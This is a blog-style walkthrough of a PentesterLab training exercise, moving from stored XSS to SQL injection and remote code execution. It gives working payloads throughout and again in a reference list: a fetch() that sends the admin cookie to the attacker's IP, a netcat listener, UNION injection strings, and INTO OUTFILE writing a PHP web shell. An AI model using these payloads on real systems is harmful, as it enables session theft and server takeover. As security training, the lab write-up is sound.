By: Someone who almost gave up three times
Lab: PentesterLab — XSS and MySQL FILE
Difficulty: Medium
Status: Owned ✅
🎭 Prologue: The ISO That Mocked Me
I downloaded an ISO. Booted it. Saw a blog. Thought, "This'll be easy."
I was wrong.
But I learned more in 3 hours of failing than in 3 months of reading theory.
This is the story of how I went from copy-pasting XSS payloads to executing whoami on a remote server — and how you can too.
📍 Phase 1: The Cookie Heist (XSS)
The Setup
The lab had a script running every minute. A headless browser called PhantomJS visited every page on the site. That browser? Already logged in as admin.
My job: Trick that bot into sending me its cookie.
What I Tried First (and failed)
<script>alert(1)</script>
Alert box popped for me. Cool. But the bot doesn't have eyeballs. I needed exfiltration.
The Breakthrough
<img src=x onerror="fetch('http://MY_IP:80/?'+document.cookie)">
But nothing happened. Why? No listener.
The Fix
On my Kali VM (192.168.56.102):
sudo nc -lnvp 80
Then injected payload pointing to Kali's IP.
Waited 60 seconds.
Then saw this in my terminal:
GET /?PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0
User-Agent: PhantomJS/1.9.1
Boom. Admin cookie stolen.
🧠 Lesson Learned
- The bot visits automatically every minute — be patient.
- Always start your listener BEFORE injecting.
-
ERR_CONNECTION_REFUSEDmeans your XSS worked but nothing was listening.
📍 Phase 2: Walking In The Back Door
I took that cookie (PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0) and added it to my browser's storage.
Refreshed the page. Clicked "admin."
I was in.
No login prompt. No password. Just pure session hijacking.
🧠 Lesson Learned
- Session cookies are gold. Treat them like root passwords.
- If you steal an admin's cookie, you ARE the admin.
📍 Phase 3: The SQL Injection That Fought Back
In the admin panel, I found edit.php?id=1.
Tested:
/admin/edit.php?id=1'
Got a MySQL error. Injection confirmed.
The UNION Struggle
I tried:
id=1 union select 1,2,3,4
Got:
Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19
That error meant: the query changed but PHP expected a row.
Fix: Force the original query to return nothing:
id=1 and 1=2 union select 1,2,3,4
The error disappeared. Numbers appeared on the page. UNION worked.
🧠 Lesson Learned
-
non-objecterrors are actually GOOD — they mean you influenced the query. - Use
and 1=2to empty the original result set. - Find which columns display on the page (2 and 3 usually).
📍 Phase 4: The FILE Privilege Gamble
I checked the current user:
id=1 and 1=2 union select 1,user(),3,4
Output: root@localhost
Then checked FILE privilege:
id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'
Output: Y
Game on.
🧠 Lesson Learned
-
root@localhostin MySQL often has FILE privilege. -
file_priv = Ymeans you can read/write files on the server.
📍 Phase 5: Finding Where To Write
I tried writing a test file:
id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'
Got the non-object error again — but the file was still created.
Visited:
http://[VM_IP]/css/test.txt
Saw 1 2 3 4 on the page.
Directory confirmed writable.
🧠 Lesson Learned
-
INTO OUTFILEcauses PHP errors but still writes the file. - Always check if the file exists via browser.
-
/var/www/css/was the magic path in this lab.
📍 Phase 6: Deploying The Web Shell
Final payload:
id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'
URL-encoded:
id=1 union select 1,2,%3C%3Fphp%20system(%24_GET%5B%22cmd%22%5D)%3B%20%3F%3E,4 INTO OUTFILE '/var/www/css/shell.php'
Then visited:
http://[VM_IP]/css/shell.php?cmd=whoami
The page returned:
1 2 www-data 4
Remote code execution achieved.
🧠 Lesson Learned
- Web shells are simple:
system($_GET["cmd"])is enough. - URL-encode special characters in your SQL payloads.
- Test with
whoamioridfirst.
🏁 Epilogue: What I Learned
| Phase | Key Takeaway |
|---|---|
| XSS | Always run your listener before injecting. The bot doesn't wait. |
| Session Hijacking | Stolen cookies = instant admin access. |
| SQL Injection |
and 1=2 is your best friend for UNION attacks. |
| FILE Privilege |
root@localhost often means file write access. |
| Web Shell |
/var/www/css/ was writable — always check common web directories. |
📝 Quick Reference Commands
XSS Payload (stored in comment)
<img src=x onerror="fetch('http://YOUR_IP:80/?'+document.cookie)">
Listener
nc -lnvp 80
Check current user
id=1 and 1=2 union select 1,user(),3,4
Check FILE privilege
id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'
Write test file
id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'
Write web shell
id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'
Execute command
http://[VM_IP]/css/shell.php?cmd=whoami
🎯 Final Thoughts
This lab taught me that hacking isn't about knowing all the answers.
It's about:
- Reading error messages carefully
- Being patient (the bot visits every minute, not every second)
- Trying things even when I'm not sure
- Not quitting when I get
non-objecterrors for the 10th time
If you're stuck on this lab — keep going. The breakthrough is one payload away.
Now go break something else. 🔥
Top comments (0)